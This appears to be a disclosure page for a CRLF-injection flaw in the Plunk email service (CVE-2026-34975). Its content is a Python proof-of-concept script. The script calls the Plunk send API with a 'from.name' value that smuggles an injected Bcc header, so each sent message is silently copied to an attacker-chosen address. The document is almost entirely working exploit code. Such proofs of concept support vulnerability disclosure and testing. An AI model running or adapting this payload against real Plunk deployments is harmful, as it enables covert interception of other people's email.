CVE-2026-34975 Plunk CRLF注入漏洞

import requests # Target API endpoint url = "https://api.plunk.example/v1/send" # Attacker's API token (requires authentication) api_key = "YOUR_PLUNK_API_KEY" headers = { "Authorization": f"Bearer {api_key}", "Content-Type": "application/json" } # Payload demonstrating CRLF injection in the 'from.name' field # Injects a 'Bcc' header to silently forward the email malicious_name = "Admin\r\nBcc: [email protected]" payload = { "to": "[email protected]", "subject": "Important Notification", "from": { "email": "[email protected]", "name": malicious_name }, "body": "This is a test email." } response = requests.post(url, json=payload, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}")